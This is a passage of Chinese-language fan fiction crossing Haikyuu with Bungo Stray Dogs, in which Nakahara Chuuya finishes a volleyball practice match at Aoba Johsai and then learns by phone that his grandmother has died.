但不知道是不是因为前两局的比赛让国见和中原中也的手热起来了,岩泉这边的下分速度反而越来越快。开玩笑,大家的一传和二传都是一样烂,攻手的比赛当然是比谁更敢扣啊! 最后由国见英的跳发终结比赛,左侧岩泉队伍胜出,青城第一场队内训练赛落幕。 “输的那队,鱼跃一圈。”沟口宣布惩罚。 土屋吉一的脸色很难看,花卷有点头疼于这个后辈爱挑衅又玻璃心的性格,好在对方确实服输,没再去跟中原起什么冲突。金田一倒是没什么感觉,他还在琢磨中原中也和牛岛的区别,心想下次也要接一下中原中也的重扣试试。 五个人在场地周围咕蛹起来,中原中也赢了后神清气爽,去厕所洗洗手和脸,就出来找太宰治算账。结果找遍排球馆,也没看见太宰治的人影。 料想这人也不会跑太远,中原中也不耐地走回休息区,拿出手机看消息。他原本是想看看太宰有没有留言,但出乎意料的是,中原中也静音的手机在十分钟前被打了三个未接听电话,来源都是美津纪。 心脏空跳一拍,中原中也感觉有什么事情已经发生了,点开通话记录回拨。 “嘟——这里是佐伊蛋糕店,有需要请留言。” 第一次未接听,中原中也的手心沁出汗意,再次打回去。这次美津纪接了,她的声音听上去很疲惫:“中也?” “妈妈,抱歉,我刚刚在训练。”中原中也有点着急,“发生什么事了吗?” 中原中也的一系列举动都被周围的部员看在眼里,原本要来和中原中也商量发球训练的岩泉一站在旁边,用眼神表达自己的关切。 中原中也对他感激地颔首,电话那头的美津纪沉默了半晌后回答:“我已经跟阿治说过了,小林家那边来电话,祖母今天早上在家摔了一跤,她本来就有血管病,我赶到医院的时候已经……你们明天坐电车回乡下一趟吧,我拜托小林太太去接你们。” “我明白了。”中原中也听见自己这么说道,一股熟悉的情绪翻涌上来,分明和那个老人素未谋面,中原中也不知道自己的心脏为什么收缩得如此剧烈,“那您注意休息,妈妈。” “别太难过,中也,祖母自己早就做好准备了。只不过,要是我回家回得再勤快些,说不定这一天就会晚一点到来。” 自责是免不了的,中原中也上次面对死亡,也就在不久之前。其实连中原中也的诞生都是经由了许多生命堆积而成的代价,这无时无刻不在提醒他,或许自在地活着是种奢望。 即使到了这个世界,平凡的安全的世界,缺憾也如影随形。